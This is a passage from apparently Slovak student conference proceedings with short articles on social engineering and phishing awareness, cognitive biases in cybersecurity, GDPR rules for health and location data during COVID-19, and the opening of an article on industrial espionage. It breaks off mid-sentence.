dôverne informácie alebo prinútiť ich k vykonaniu nechcenej akcie. Správanie ľudí 
je jedna z najslabších článkov čo sa týka počítačovej bezpečnosti.[3]  
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   Sociálny inžinier je osoba, ktorá používa metódy a praktiky sociálneho 
inžinierstva nato, aby dosiahla požadované informácie pre svoj osobný prospech 
alebo prospech niekoho iného. Svojimi metódami a praktikami sa snažia využívať 
faktory, ktoré ovplyvňujú ľudské správanie a rozhodovanie. Vďaka týmto 
praktikám môže byť človek ovplyvňovaný (napr. dôvera, sympatie, stres).[3] 
 
Sociálne inžinierstvo v organizácii 
   Najzraniteľnejšia časť organizácie z pohľadu sociálneho inžinierstva sú 
zamestnanci danej organizácie. Vo všeobecnosti tvorí veľkú časť bezpečnostných 
rizík identifikovaných v rámci organizácie ľudské správanie. Väčšinou ide o 
nepozornosť, chybu, nedbalosť alebo nevedomosť. Toto tvrdenie podporuje aj 
prieskum spoločnosti ESET, ktorá sa zaoberala informačnou bezpečnosťou v 
organizáciách na Slovensku z roku 2011.[3] 
 

 
Graf  1 Dôvody výskytu bezpečnostného incidentu v organizáciách. Zdroj: https://www.eset.com/sk/firemna-

it-bezpecnost/bezpecnostne-sluzby/services/clanky/socialne-inzinierstvo-ib/ 

 
   Z prieskumu vyplýva, že 63% organizácií označilo za príčinu bezpečnostného 
incidentu v organizáciách správanie respektíve konanie zamestnancov. 
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Graf  2 Graf 2 – Budovanie bezpečnostného povedomia prostredníctvom školení o informačnej bezpečnosti. 

Zdroj: https://www.eset.com/sk/firemna-it-bezpecnost/bezpecnostne-sluzby/services/clanky/socialne-
inzinierstvo-ib/ 

 
   Na druhom grafe môžeme vidieť ako organizácie pristupujú ku vzdelávaniu 
zamestnancov ohľadom informačnej bezpečnosti. Z prieskumu vyplýva že len 25% 
organizácií organizuje pravidelne školenia v oblasti informačnej bezpečnosti. 
Ostatných 75% organizácií vzdeláva svojich zamestnancov v oblasti bezpečnosti 
iba jednorazovo alebo vôbec. Tu môžeme vidieť problém, ktorý by mohol v 
budúcnosti sociálny technik zneužiť, keďže väčšina firiem nevzdeláva svojich 
zamestnancov ako sa voči týmto útokom brániť.[3] 
 
Spôsoby vykonania sociálneho inžinierstva 
   Najúčinnejším spôsobom na preverenie bezpečnostného povedomia u 
zamestnancov organizácie je práve simulácia potenciálneho útoku technikou 
sociálneho inžinierstva. Testovanie sociálnym inžinierstvom môže byť realizované 
za rôznych podmienok:[3] 

 Phishingový test 
 Telefonický test 
 Preverenie zverejnených informácií 

 
   Jednotlivé spôsoby testovania môžu byť podporené kombináciou ďalších 
komunikačných kanálov. Čím ďalej sa zintenzívňujú útoky na podniky a aj na 
jednotlivých používateľov počítačov, pričom sa spoliehajú pri získavaní osobných 
alebo finančných informácií viac na sociálne inžinierstvo, kde využívajú klamanie 
alebo manipuláciu, často e-mailom, ale aj telefonickým hovorom. Pri útoku na 
podnik sú údaje o zákazníkoch a dodávateľoch v ohrození.[6] 
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Telefonický podvod 
   Podľa The New York Times útočník zavolal Nancy Butlerovej a tvrdil o sebe, že 
pracuje ako informační technik, vyzeralo to, že išlo len o rutinnú kontrolu 
legitímnym zamestnancom. Tak ako to už mnohokrát počas takýchto hovorov 
urobila, požiadala volajúceho, aby potvrdil číslo jej účtu a ďalšie informácie, aby si 
mohla byť istá, že je tým, za koho sa vydáva. Keď sa všetko potvrdilo, pustila ho 
do svojho počítača, lenže hneď nato zistila, že jej zablokoval počítač a následne 
získali prístup k bankového účtu a kreditnej karte.[6] 
 
Phishingové podvody 
   Phishingové podvody často využívajú sociálne inžinierstvo. Podvody sú zvyčajne 
maskované v realisticky vyzerajúcich e-mailoch, ktoré povzbudzujú príjemcu 
kliknúť na odkaz alebo prílohu; toto kliknutie stiahne škodlivý softvér známy ako 
malware, ktorý dokáže zachytiť informácie a odoslať ich späť zločincovi. E-maily 
môžu vyzerať ako pochádzajúce z banky spoločnosti alebo z iného podniku. 
Hacker môže zavolať do podniku, povedať niečo v zmysle pracujem pre vášho 
hostiteľa webu, a pridať skutočné meno hostiteľa, aby dodal hovoru 
dôveryhodnosť. Hackeri môžu získať informácie o webových stránkach a ich 
hostiteľskej spoločnosti z online adresárov, kde potom, ak sú schopní manipulovať 
zamestnanca, aby sa vzdal hesla, môžu vstúpiť na web, ukradnúť informácie a 
poškodiť alebo deaktivovať.[6] 
   Podvodníci neustále hľadajú spôsoby, ako môžu zneužiť dobré meno veľkých a 
dôveryhodných spoločností. Nie tak dávno sa hackeri, snažili vytvoriť falošnú 
stránku pomocou ktorej chceli získať peniaze od majiteľov internetových domén. 
Falošnú stránku rozoslali e-mail majiteľom stránok, že je potrebné predĺžiť platnosť 
ich domény. Stránka, prostredníctvom ktorej malo následne dôjsť k predĺženiu, hoci 
vyzeral ako originálna stránka danej spoločnosti, tak bol len dobre spracovaným 
podvrhom.[1] 
   Takýto typ útoku je čoraz bežnejším a to nie len vo svete, ale aj v našich 
končinách. V poslednom čase sa stretávame s e-mailmi, ktoré sa tvária, ako od 
Slovenskej pošty. Ako môžete nižšie na obrázku 1 vidieť, tak e-mail pôsobí celkom 
dôveryhodne. Môžeme na ňom vidieť logo spoločnosti, ktoré vyzerá ako originál, či 
stručný text, ktorý je typickým pre tento typ správ. Okrem iného správa obsahuje 
aj číslo balíka vrátane malého a zanedbateľného poplatku, ktorý je potrebné 
uhradiť, aby vám bol balík doručený. 
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Použitá literatúra 

 
Obrázok 1 Podvodný e-mail. Zdroj: https://vosveteit.sk/wp-content/uploads/2021/01/podvodny-e-mail-

ktory-sa-tvari-ako-od-slovenskej-posty.jpg 

 
   Ako už môžeme vidieť ide o ďalší podvrh z dielne sociálneho inžinierstva. V 
podstate sa nám to môže zdať ako malý poplatok, lenže pri platení nás to 
presmeruje na ich podvrhnutú stránku, kde zadáme číslo našej karty a suma o 
ktorú môžeme následne prísť nemusí byť len 1,17€ ale omnoho viac. 
 
Záver 
   V dnešnom svete plnom technológií je dobre sa vyznať v tom čo môže byť pre 
nás alebo pre organizáciu hrozba. Preto by sme nemali hneď všetkému veriť a 
radšej sa čo najviac si preverovať informácie a snažiť sa čo najviac vyvarovať 
takýmto chybám. Sociálne inžinierstvo je vo väčšine prípadov ten najlacnejší, a pre 
znalého človeka aj najjednoduchší spôsob, ako narušiť bezpečnosť aj veľmi 
robustných systémov. Organizácia alebo jednotlivec sa môže stať obeťou aj 
nepriamo, aby niekto ukradol informácie alebo peniaze, nemusí byť napadnutý ich 
vlastný systém stačí, že využije správne techniky sociálneho inžinierstva a vie sa 
dostať k údajom, ktoré potrebuje. 
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DO COGNITIVE BIASES HAVE AN IMPACT ON CYBER 
SECURITY? 
 
Daniela Pucicov 
 
Abstract 
   With humankind continuously taking faster and deeper steps into the digital era, 
with devices accompanying both our professional and personal life 24/7, becoming 
a victim of cyber attacks is becoming more probable every day. This is why 
cybersecurity is particularly important. It encompasses everything that pertains to 
protecting our sensitive data, personally identifiable information, protected health 
information, personal information, intellectual property, data, and governmental 
and industry information systems. But cybersecurity systems have their flaws, 
especially when it comes to the human factor. This article aims to present the risks 
of cognitive biases in cyber security and ways to overcome the potentially 
catastrophic errors they may cause. 
 
Key words: Cyber-security, cognitive bias, errors, human factor 
 
Introduction 
   The human brain is exposed to vast amounts of information on a daily basis. 
Processing all the information, taking decisions, and making judgements are 
activities highly demanding of energy. As an attempt to simplify information 
processing, our brain has the tendency to create patterns and systems which can 
often result in cognitive biases - systematic errors or deviations from rationality in 
judgment.[1] According to Cherry[2], cognitive biases can be related to memory (how 
and what we remember) or to limited attention (because the “full-attention mode” 
is a scarcity, our brains become selective about the things they pay attention to). 
The cognitive biases can be a “fault” of any person, now that they are “inherent 
characteristics of human nature”[4]. 
   This article aims to draw attention to the human factor in the occurrence of cyber 
security errors, specifically the cognitive biases effect on security decision-making 
performed by people.  
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Cognitive biases and cyber security threats 
   As studies have shown, many of the occurring cyber security issues are 
happening because of cognitive biases. According to Willis Towers Watson Cyber 
Risk Culture Survey[4], 66% of cyber breaches are attributed to human errors (see 
Figure 1). Attackers target cognitive bias in combination with a system’s technical 
flaws to exploit it successfully, or a better explanation of the discussed problematic, 
we shall take a look at some specific cognitive biases examples and how they 
impact cyber security:  
 

 
Figure 1. Percentage of claims by breach. Source: Willis Towers Watson Cyber Risk Culture Survey 

 
1. The Ostrich effect is the tendency towards avoidance of potentially 

unpleasant information or situations perceived as negative. In an 
organization’s cyber security environment this could mean ignoring statistics 
or news about cyber-attacks on organizations, or not taking into 
consideration security recommendations and best practices because of the 
company’s unwillingness to spend extra capital or the employee’s 
indisposition towards making the extra effort[3].  

2. The optimism bias is the “illusion of invulnerability”[6], in other words, the 
tendency to believe that we are less likely than others to find ourselves in the 
negative circumstances others are experiencing. It is the perception of 
individuals that their risk of information security attacks, such as phishing, to 
be lower than others. This also extends to organizational contexts, where 
individuals believe their own organization to be at relatively lower risk to 
information security threats than other competitor organizations. If 
individuals are optimistically biased regarding information security threats, 
they may not take the precautionary measures to reduce risks, which will in 
turn lead to increased vulnerability.  
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3. Confirmation Bias consists of a tendency to search for, interpret, favor, and 
recall information in a way that confirms or strengthens one's prior personal 
beliefs or hypotheses[5]. Confirmation Bias can trick the mind into only 
looking for specific issues related to an IT infrastructure, based on one's 
previous experience and understanding, instead of considering security as a 
whole. When security professionals are exploring a theory for a particular 
problem, they are highly susceptible to confirming their beliefs by only 
searching and finding support for their hunch. For example, an experienced 
security analyst may “decide” what happened prior to investigating a data 
breach, assuming it was a malicious employee due to previous events. 
Expertise and experience, while valuable, can be a weakness if people 
regularly investigate incidents in a way which only supports their existing 
belief. 

4. Availability heuristic appears when decision makers rely too much on the 
recent trends or the information which comes to mind first . In the case of an 
attack, if the focus is only given to a specific issue rather than considering 
the security as a whole, then the availability heuristic is in place. Even though 
taking the necessary actions to prevent the trending attacks is critical, it is 
equally important to continue with other security considerations. 

5. Fatalistic thinking refers to an outlook where individuals may believe they 
have no power to influence risks personally, as risks are controlled by 
external forces. This cognitive bias stems from misinterpretations of risk and 
can lead to unwise behavioral consequences. In information security, this 
might mean believing there are no measures one can take to prevent a 
phishing attack, because it’s “something that will happen anyway”. Likewise, 
there is some people’s tendency to believe that everything is ‘hackable’ and 
therefore there should be no point in protection efforts. This feeling may 
augment with home working, as employees are distanced from usual 
organizational support.  

 
Conclusion and recommendations 
   As highlighted at the beginning of this article, the incidence of human factor errors 
(oftenly caused by cognitive biases) is significantly high. The biases we discussed 
are solely a small sample of how the cybersecurity industry is shaped by human 
decision making[7]. To address the impact of cognitive bias, it is necessary to focus 
on understanding people and how people make decisions at the individual and 
organizational level in the cybersecurity industry. 
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   The crucial requirement from a company to minimize the incidence of cognitive 
biases is to acknowledge their presence and find where specifically do they occur. 
Aside from the fact that companies must continually train their employees in 
information security and provide simulation exercises on a regular basis, it is 
important to raise awareness of common cognitive biases across agencies and 
within security teams to better identify situations where critical decisions are 
susceptible to the negative impact of mental shortcuts. 
   By improving the understanding of biases, it becomes easier to identify and 
mitigate the impact of flawed reasoning and decision-making conventions. More 
tangibly, understanding user behavior at the individual level can also help minimize 
the degree to which cognitive biases drive an agency’s security posture. 
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COVID-19 A PROBLEMATIKA GDPR 
 
COVID-19 AND GDPR PROBLEMS 
 
Peter Jelenčík 
 
Abstract 
   The aim of the article is to present the issue of GDPR during the COVID-19 
pandemic, which in some way significantly interferes with the legal basis of the 
GDPR Regulation.. 
 
Key words: GDPR, COVID-19 
 
Abstrakt 
   Cieľom článku je predstaviť problematiku GDPR počas pandémie COVID-19, ktorá 
zasahuje určitým spôsobom výrazne do právneho základu nariadenia GDPR. 
 
Kľúčové slová: GDPR, COVID-19 
 
Úvod 
   Ideálny svet, uponáhľaná doba, neobmedzené možnosti cestovania a mnoho 
iných slovných spojení, predstavujú pre väčšinu ľudí hlavné prívlastky života pred 
aktuálne prevládajúcou pandémiou. Svet ako sme ho poznali sa náhle a závratne 
zmenil. Aktuálna situácia však nezasiahla iba samotných obyvateľov, ale výrazne 
otestovala aj pripravenosť a promptnosť krajín na celom svete. Mnoho krajín na 
príchod vírusového ochorenia daných rozmerov nebolo vôbec pripravených. 
Niektoré z nich začali zo zavádzaním ráznych opatrení už v začiatkoch prepuknutia 
vírusu vo svete, naopak iné sa zo zavádzaním opatrení až tak neponáhľali. Dané 
rozhodnutia sa následne odzrkadlili na situáciách a počtoch nakazených ľudí v 
jednotlivých krajinách. Zavádzanie rýchlych legislatívnych zmien sa výrazným 
spôsobom dotklo aj ochrany osobných údajov, t.j. nariadenia GDPR. 
 
Čo je GDPR? 
   „GDPR (General Data Protection Regulation, skrátene teda GDPR) je univerzálne 
európske nariadenie, ktoré od 25.5.2018 zavádza novú úpravu práv a povinností v 
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oblasti spracúvania a ochrany osobných údajov. GDPR je záväzné pre každého, 
kto spracúva osobné údaje jednotlivcov nachádzajúcich sa v Európskej únií.“[15] 
Ako je z jednej z mnoho definícií GDPR zrejmé, podstatou tohto nariadenia je 
chránenie osobných údajov jednotlivcov pred ich neoprávneným používaním. Pod 
osobnými údajmi rozumieme najmä informácie, ktoré vytvárajú identitu fyzických 
osôb – jednotlivcov. Ide najmä o konkrétne údaje, akými sú napríklad meno, 
priezvisko, adresa, rodné číslo, e-mailová adresa či telefónne číslo konkrétnej 
fyzickej osoby. Vymenované sú len niektoré zo všetkých významných 
„identifikátorov“.[16] GDPR považuje za osobné údaje aj také informácie, 
prostredníctvom ktorých je možné jednotlivcov jednoznačne identifikovať 
(napríklad zamestnanecké číslo, fotografie a pod.). Za citlivé informácie, ktorým je 
potrebné venovať zvýšenú pozornosť pri ich ochrane, sa však považujú aj 
informácie o zdravotnom stave jednotlivcov.[14] Práve daný typ informácií je v 
spojitosti s vírusovým ochorením COVID-19 aktuálne najviac významným.  
 
COVID-19 a GDPR 
   COVID-19, resp. KORONAVÍRUS je výrazné infekčné ochorenie, ktoré aktuálne 
trápi celý svet. Toto ochorenie je vyvolané koronavírusom SARS-CoV-2, pričom 
postihuje najmä dýchací systém človeka. Vírus sa do sveta postupne rozšíril z 
čínskeho mesta Wu-chan, v ktorom sa prví infikovaní pacienti objavili už v decembri 
minulého roku (2019). Vplyv, ako aj priebeh vírusu na ľudský organizmus je rôzny 
u každého človeka. Faktom však je, že tento vírus môže viesť až k úmrtiu pacienta. 
Ďalším dôležitým faktorom je šíriteľnosť daného vírusu prostredníctvom kvapôčok 
sekrétu pri kašli, kýchaní a rozprávaní, čo má za následok rýchly presun vírusu z 
človeka na človeka pri bezprostrednom kontakte daných osôb.[4]  
Od začiatku prepuknutia vírusu na Slovensku je vývoj šírenia nákazy oproti iným 
krajinám pomerne stabilný. Odborníci poukazujú na podchytenie jednotlivých 
ohnísk výskytu pacientov so zisteným ochorením. K priaznivému vývoju výrazne 
pomohlo viacero úvodných ráznych opatrení a odporúčaní vlády, z ktorých mnoho 
je úzko spätých s problematikou GDPR.   
   Jednou z najviac dotknutých skupín sú zamestnávatelia. Práve oni musia 
pristúpiť k zásadným opatreniam, prostredníctvom ktorých na jednej strane 
zabezpečia ochranu zdravia svojich zamestnancov, a na strane druhej aj ochranu 
ich osobných údajov, resp. údajov o ich zdravotnom stave.[5]  
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GDPR pre firmy v čase koronakrízy 
    Pri zavádzaní GDPR v roku 2018 bolo mnoho podnikateľov voči danému 
nariadeniu skeptických, nakoľko jeho implementácia si vyžadovala pozmenenie 
niektorých zavedených postupov, ako aj zvýšenie byrokratického zaťaženia. 
Aktuálna situácia opätovne núti mnohých podnikateľov a zamestnávateľov k 
zvýšeniu pozornosti ochrany osobných údajov. Ide najmä o spracúvanie osobných 
údajov týkajúcich sa zdravia svojich zamestnancov, respektíve v niektorých 
prípadoch aj obchodných partnerov, klientov alebo iných osôb, ktoré vstupujú do 
priestorov a prevádzok daných spoločností. Spracovanie údajov týkajúcich sa 
zdravia zamestnancov je špecifickou osobitnou kategóriou osobných údajov. 
„GDPR ustanovuje všeobecný zákaz pre spracúvanie osobitných kategórií 
osobných údajov, zároveň však obsahuje aj katalóg výnimiek, v ktorých je možné 
spracúvať túto kategóriu.“[3] Inak povedané, dané údaje možno „získavať a 
spracovávať len za predpokladu, že organizácia disponuje právnym základom 
spracúvania a súčasne – existuje výnimka zo všeobecného zákazu spracúvať citlivé 
osobné údaje.“[6] Účinnosť nariadenia GDPR sa vplyvom pandémie nijako 
nezastavuje a zamestnávatelia tak naďalej musia spracovávať osobné údaje 
podľa zákonom stanovených kritérií.   
   Medzi vhodné výnimky pre spracúvanie zdravotných údajov radíme spracúvanie 
osobných údajov z dôvodu:[7] 

 nevyhnutného na účely preventívneho alebo pracovného lekárstva, 
 verejného záujmu v oblasti verejného zdravia (na základe práva EÚ alebo 

členského štátu), 
 plnenia povinností zamestnávateľa v oblasti pracovného práva (ochrana 

zdravia a bezpečnosti pri práci zamestnancov), 
 ochrany životne dôležitých záujmov dotknutej osoby alebo inej fyzickej 

osoby v prípade, že dotknutá osoba nie je fyzicky alebo právne spôsobilá 
vyjadriť svoj súhlas, 

 súhlasu dotknutej osoby. 
 
   V spojitosti s COVID-19 sa medzi osobné údaje, ako aj údaje týkajúce sa zdravia 
príslušnej dotknutej osoby zaraďujú najmä:[3] 

 údaje týkajúce sa práceneschopnosti zamestnanca v kontexte nákazy 
COVID-19, 

 údaje indikujúce pobyt zamestnanca v  oblastiach označených ako vysoko 
rizikové z pohľadu možnej nákazy vírusom, 
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 údaje ohľadom možného kontaktu s osobou s podozrením na nákazu 
COVID-19, 

 údaje získavané v súvislosti s meraním telesnej teploty pri vstupe do 
priestorov zamestnávateľa. 

 
   „Slovenskí zamestnávatelia, ako aj ostatné organizácie sa môžu pri stanovovaní 
vhodného právneho základu a príslušnej výnimky zo zákazu spracúvania citlivých 
dát oprieť najmä o tieto zákony[3]:  

 Zákon o civilnej ochrane obyvateľstva, na základe ktorého musí byť vydané 
konkrétne opatrenie a Zákon o ochrane, podpore a rozvoji verejného 
zdravia (napr. opatrenie Úradu verejného zdravotníctva o meraní telesnej 
teploty, opatrenie o povinnej 14-dňovej karanténe u osôb, ktoré prišli zo 
zahraničia, prípadne ďalšie opatrenia). 

 Zákon o bezpečnosti a ochrany zdravia pri práci, na základe ktorého je 
zamestnávateľ povinný napríklad posudzovať riziko nákazy na pracovisku, 
a v prípade potreby vykonať vhodné opatrenia na zabezpečenie ochrany 
zdravia zamestnancov. 

 Zákonník práce, na základe ktorého je zamestnávateľ povinný napríklad 
robiť opatrenia v záujme ochrany života a zdravia zamestnancov pri práci; 
alebo je povinný svojim zamestnancom zabezpečovať také pracovné 
podmienky, aby mohli riadne plniť svoje pracovné úlohy bez ohrozenia 
života, zdravia a majetku.“[1] 

 
   Pri spracovávaní osobných údajov o zdravotnom stave je spoločnosť povinná 
informovať zamestnancov, a taktiež všetky dotknuté osoby, o podmienkach a 
spôsobe spracovávania daných údajov. „Zamestnávatelia sú povinní vyžadovať 
zdravotné informácie iba v rozsahu, v akom to vnútroštátne právne predpisy 
umožňujú a prísne dodržiavať zásadu minimalizácie spracúvaných dát.“[6] Pod 
zásadou minimalizácia rozumieme spracovávanie iba tých osobných údajov o 
zdravotnom stave, ktoré sú relevantné a nevyhnutné pre zabránenie šírenia vírusu, 
a to iba na nevyhnutne dlhú dobu. 
   Zozbierané informácie o zdravotnom stave svojich zamestnancov je 
zamestnávateľ povinný chrániť, t.j. zabezpečiť také opatrenia na ochranu 
osobných údajov, aby dané údaje nemohli byť zneužité[2]. Tretím osobám môže 
zamestnávateľ poskytnúť dané osobné údaje o zdravotnom stave zamestnancov 
iba vtedy, ak je to nevyhnutné a má na to zákonný dôvod. Ak je to nevyhnutné z 
dôvodov verejného záujmu v oblasti verejného zdravia, môže zamestnávateľ tieto 
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údaje následne poskytnúť napr. nemocnici alebo orgánom činným v trestnom 
konaní. V žiadnom prípade zamestnávateľ nemá právo poskytovať dané osobné 
údaje o tom, kto je konkrétne nakazený, médiám či verejnosti.[3]   
 
MERANIE TELESNEJ TEPLOTY 
   V súvislosti s aktuálnou situáciou, a jedným z príznakov ochorenia, je zavedenie 
merania telesnej teploty. Nameraná hodnota telesnej teploty človeka sa taktiež 
považuje za jeden z citlivých osobných údajov. Na základe vyhlásených opatrení a 
Uznesenia vlády Slovenskej republiky, hlavný hygienik Slovenskej republiky vydal 
Usmernenie ako postupovať pri meraní telesnej teploty, ktoré však ukladá 
povinnosť merania telesnej teploty iba pri vstupe do nemocníc a priemyselných 
podnikov. Zamestnávatelia, na ktorých sa uvedené akty nevzťahujú, musia využiť 
inú vhodnú výnimku pre spracúvanie zdravotných záznamov než výnimku 
verejného záujmu v oblasti verejného zdravia.[3]   
 
PROBLEMATIKA HOMEOFFICE  
   V súčasnej situácií mnoho zamestnávateľov umožňuje svojim zamestnancom 
prácu z pohodlia domova. Väčšina zamestnávateľov však nebola vopred 
pripravená na hromadné zavádzanie práce prostredníctvom „home office“. V 
tomto prípade je na mieste otázka ochrany spracúvaných dát, nakoľko 
zamestnanci pracujú prostredníctvom počítačov pripojených do bežných 
domácich internetových sietí bez zvýšenej úrovne zabezpečenia. Túto úroveň 
zabezpečenia zamestnávateľ nevie ovplyvniť, a tak môže ľahko dôjsť k úniku 
daných osobných údajov. Pri práci mimo kancelárskych priestorov 
zamestnávateľa sa k citlivým údajom môžu omnoho ľahšie dostať taktiež aj iné 
osoby[17].  
   Zamestnávatelia by mali svoju pozornosť upriamiť najmä na aktualizáciu 
bezpečnostnej firemnej politiky, pravidiel nakladania s citlivými informáciami a 
prijať vhodné opatrenia. Dané opatrenia je potrebné následne náležite 
zdokumentovať a informovať o nich všetky zainteresované strany.[1] 
 
GDPR a zavedenie opatrení monitorovania osôb  
   Veľmi závažnou a diskutovanou témou v spojitosti s vývojom aktuálnej situácie 
a nárastom pozitívne testovaných osôb je monitoring obyvateľov s cieľom 
lokalizácie ich pohybu.  
   Po prepuknutí nákazy, dňa 27.3.2020 nadobúda účinnosť zákon, ľudovo 
nazývaný „lex korona“. Tento zákon prináša so sebou novelizáciu viacerých 
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právnych predpisov, s cieľom zaviesť ďalšie opatrenia v boji s pandémiou 
koronavírusu.[8] 
   Spolu s novelizáciou viacerých zákonov bola zavedená možnosť spracúvania 
lokalizačných údajov z mobilných zariadení v súvislosti so vznikom pandémie alebo 
šírením nebezpečnej nákazlivej ľudskej choroby. 
   „Ak je to nevyhnutné na plnenie úlohy vo verejnom záujme alebo pri výkone 
verejnej moci, či z iných zákonných dôvodov, môžu štátne orgány získavať aj 
lokalizačné údaje občanov.“[7] Tieto údaje však môžu získavať primárne 
anonymizovaným spôsobom. „Anonymizácia znamená použitie techniky, ktorá 
zabraňuje akémukoľvek dostupnému spätnému identifikovaniu jednotlivcov.“[12]  
 „Vo vnútroštátnych právnych predpisoch, ktorými sa transponuje ePrivacy 
smernica je stanovená zásada, že operátor môže použiť lokalizačné údaje iba 
vtedy, ak sú anonymné alebo s jednotlivec poskytol súhlas.“[13] Takýto spôsob 
zbierania lokalizačných údajov pomáha zaznamenať zvýšenú koncentráciu osôb 
(mobilných telefónov) na určitom mieste. 
   V nevyhnutných prípadoch, „ak nie je možné spracúvať lokalizačné údaje iba v 
anonymizovanej podobe, môžu členské štáty postupovať podľa čl. 15 ePrivacy 
Smernice, ktorý umožňuje vo výnimočných prípadoch členským štátom prijať v 
oblasti elektronickej komunikácie mimoriadne legislatívne opatrenia na 
zabezpečenie napr. národnej bezpečnosti. Pri prijímaní takejto legislatívy však 
musia členské štáty zaviesť primerané záruky, medzi ktoré patrí najmä primeraný 
súdny opravný prostriedok.“[13] 
   Mobilní operátori spracúvajú lokalizačné údaje primárne na účel identifikácie 
príjemcov správ, ktorým je potrebné oznámiť osobitné opatrenia Úradu verejného 
zdravotníctva SR v záujme ochrany života a zdravia, a zároveň tieto údaje 
poskytujú Úradu verejného zdravotníctva SR na základe odôvodnenej písomnej 
žiadosti. Úrad následne môže dané údaje zbierať, spracúvať a uchovávať počas 
trvania mimoriadnej situácie alebo núdzového stavu v zdravotníctve, najdlhšie však 
do 31. decembra 2020.[8] 
   Po výrazných komplikáciách s umiestňovaním navrátilcov do štátnych 
karanténnych zariadení sa Slovensko rozhodlo spustiť inteligentnú domácu 
karanténu. Začiatky jej fungovania boli spojené s viacerými významnými 
problémami. Jedným z hlavných problémov bol fakt, že danú mobilnú aplikáciu si 
ľudia vedeli stiahnuť iba na mobilné telefónny s operačným systémom ANDROID.  
„Počas krízovej situácie z dôvodu ochorenia COVID-19 môže úrad verejného 
zdravotníctva  rozhodnúť o tom, že fyzické osoby, ktoré majú povinnosť podrobiť 
sa nariadenej izolácii, ju môžu absolvovať v domácom prostredí za podmienky  
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písomného súhlasu alebo inak hodnoverne preukázateľného súhlasu  s 
podrobením sa izolácii  doma za použitia mobilnej aplikácie na monitorovanie jej 
dodržiavania.“[10] 
   „Základnými podmienkami na absolvovanie karantény v domácej izolácii je 
smartfón s kamerou a určovaním polohy, nonstop Wi-Fi pripojenie alebo dostatok 
mobilných dát a dostatočný mobilný signál na mieste izolácie. Občan musí v 
domácej izolácii absolvovať test na COVID-19. Počas domácej izolácie občan ani 
ostatní členovia domácnosti nemôžu opustiť miesto izolácie.“[9] 
   Uvedenú aplikáciu je vhodné nainštalovať si ešte pred príchodom na územie 
Slovenska. Po príchode, a jej následnej aktivácií, sú ľudia najrýchlejšou trasou 
nasmerovaný do domácej izolácie. Ako je zrejmé z vyššie uvedených podmienok, 
obyvatelia nachádzajúci sa v domácej izolácií sú nútený využiť pomoc rodinných 
príslušníkov, susedov, resp. formu donáškových služieb pre zabezpečenie 
potrebných zásob. Kontrolovanie domácej izolácie prebieha prostredníctvom 
náhodných výziev na rozpoznanie prostredníctvom biometrie tváre, resp. 
prostredníctvom lokalizačných údajov daného mobilného zariadenia. Po piatich 
dňoch inteligentná aplikácia vyzve obyvateľa, aby sa objednal na testovanie. Po 
negatívnom výsledku testu je obyvateľ zbavený domácej izolácie. Úrad verejného 
zdravotníctva SR je oprávnený uchovávať získavané informácie iba po dobu 
nevyhnutnú na monitorovanie daného obyvateľa. Po skončení domácej izolácie 
daného obyvateľa, je tento úrad povinný údaje odstrániť a ďalej neuchovávať.[11] 
 
Záver 
   Napriek neustále sa meniacej situácií v spojitosti so šírením nákazy je dôležité 
neustále sledovať aktuálne informácie a vyhlásenia vlády. Taktiež je potrebné 
klásť dôraz na dodržiavanie potrebných bezpečnostných opatrení či už pri ochrane 
svojho zdravia, a pri spracovávaní a narábaní s osobnými údajmi je dôležité konať 
podľa zákonných pravidiel. 
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PRIEMYSELNÁ ŠPIONÁŽ 
 
INDUSTRIAL ESPIONAGE 
 
Nikoletta Szegfüová 
 
Abstract 
   The aim of the article is to characterize industrial espionage using selected 
examples. The work deals with the definition of the term, points to the methods of 
information collection in the competitive environment of companies and defines 
the areas and threats that are most affected by this issue. 
 
Key words: industrial espionage, trade secret 
 
Abstrakt 
   Cieľom článku je charakterizovanie priemyselnej špionáže pomocou vybraných 
príkladov. Práca sa zaoberá definovaním pojmu, poukazuje na metódy zberu 
informácií v konkurenčnom prostredí podnikov a vymedzuje oblasti a hrozby, 
ktorých sa táto problematika najviac dotýka. 
 
Kľúčové slová: priemyselná špionáž, obchodné tajomstvo 
 
Úvod 
   Priemyselná špionáž je pojem, ktorý históriu ľudstva sprevádza už dlhé roky. 
Každý úspešný podnik vyniká nad svojou konkurenciou v nejakých detailoch, ktoré 
sú navonok zjavné, ale ich špecifiká pre konkurenciu neznáme. Môžu to byť nové 
výskumy, manažérske systémy, zloženie produktov, technologické postupy a 
mnohé iné záležitosti, ktoré podnik posúvajú pred jeho konkurenciu. Konkurencia 
takéhoto podniku má dve možnosti pre udržanie svojej pozície na trhu, buď vyvinie 
vlastné úsilie na to aby sa vyrovnala, predstihla podnik, čo je často finančne zložité 
a časovo náročne, alebo sa uchýli k priemyselnej špionáži a pokúsi sa o časovo 
menej náročný, ale na druhej strane riskantnejší spôsob a získa poznatky tohto 
podniku, ktoré jej pomôžu k rastu. Tieto prípady sú veľmi časté vo vyspelých 
krajinách ako USA, Nemecko, Japonsko, kde dochádza k priemyselnej špionáži a 
krádeži obchodného tajomstva zo strany podnikov rozvojových krajín najmä z 
Číny, Indie, Vietnamu a iných.[2] 
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   Cieľom článku je predstavenie a priblíženie problematiky priemyselnej špionáže 
a krádeže obchodného tajomstva. Ďalej vysvetliť, prečo je priemyselná špionáž 
páchaná a aký má dopad na stabilitu podnikov. A nakoniec poukázať na jednotlivé 
metódy a príklady z reálnej praxe. 
   V úvodnej časti je predstavená priemyselná špionáž a jej celková charakteristika, 
dôvod špionáže, najčastejšie metódy. V druhej časti sú opísané obvyklé ciele 
priemyselnej špionáže. Tretia časť článku opisuje reálne príklady z praxe. 
 
Priemyselná špionáž 
    Priemyselnú špionáž môžeme skrátene definovať, ako činnosť, ktorou sa útočník 
(vládna organizácia, obchodná spoločnosť, vládna informačná služba, jednotlivec, 
mimovládna organizácia) pokúša získať obchodné tajomstvo poškodeného. Vo 
väčšine prípadov sa takéto správanie, najmä pokiaľ sa týka prístupu k 
obchodnému tajomstvu považuje za nezákonné[4]. 
   K priemyselnej špionáži vedú vždy nejaké motívy. Jedným z nich je konkurencia. 
V tejto súvislosti priemyselná špionáž slúži na ovládnutie určitých trhov. 
Priemyselná špionáž sa z roka na rok stáva intenzívnejšou. Jej metódy sú stále 
tvrdšie a bezohľadnejšie a jej techniky sú stále dokonalejšie. 
    Metódy priemyselnej špionáže sa nie často uchyľujú k násiliu, pretože hlavným 
cieľom je získať informácie od poškodeného bez toho, aby si bol vedomý krádeže. 
Ako náhle má poškodený podozrenie z priemyselnej špionáže je schopný rýchlo 
prijať opatrenia, ako zmenu prístupových hesiel, úpravu bezpečnostnej politiky, 
